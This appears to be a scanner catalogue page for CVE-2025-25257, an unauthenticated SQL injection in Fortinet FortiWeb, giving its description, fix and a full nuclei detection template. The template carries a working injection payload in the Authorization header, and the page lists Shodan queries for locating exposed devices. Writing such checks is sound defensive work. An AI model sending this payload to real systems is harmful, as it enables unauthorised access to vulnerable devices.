Fortinet FortiWeb - SQL Injection

Exploited in the wild. Listed by CISA on 2025-07-18; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability [CWE-89] in FortiWeb may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPS requests.

Impact

An attacker can exploit this vulnerability to execute unauthorized SQL commands, potentially leading to data exposure, data manipulation, or system compromise.

Fix

Apply the latest security patches provided by Fortinet to fix the SQL injection vulnerability in FortiWeb.

How to confirm it

Send: GET /api/fabric/device/status
Positive when: contains "serial" and "fortiweb" and "device_type" AND status 200

Run it with nuclei: nuclei -id CVE-2025-25257 -u <target>

The full check

id: CVE-2025-25257

info:
  name: Fortinet FortiWeb - SQL Injection
  author: watchtowr,johnk3r
  severity: critical
  description: |
    An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability [CWE-89] in FortiWeb may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPS requests.
  impact: |
    An attacker can exploit this vulnerability to execute unauthorized SQL commands, potentially leading to data exposure, data manipulation, or system compromise.
  remediation: |
    Apply the latest security patches provided by Fortinet to fix the SQL injection vulnerability in FortiWeb.
  reference:
    - https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/
    - https://fortiguard.fortinet.com/psirt/FG-IR-25-151
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-25257
    epss-score: 0.99921
    epss-percentile: 0.99969
    cwe-id: CWE-89
    cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fortinet
    product: fortiweb
    shodan-query:
      - ssl:"cn=fortiweb"
      - title:"FortiWeb - "
  tags: cve,cve2025,fortinet,fortiweb,sqli,unauth,kev,vkev,vuln

http:
  - raw:
      - |
        GET /api/fabric/device/status HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer AAAAAA'or'1'='1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'serial'
          - 'fortiweb'
          - 'device_type'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from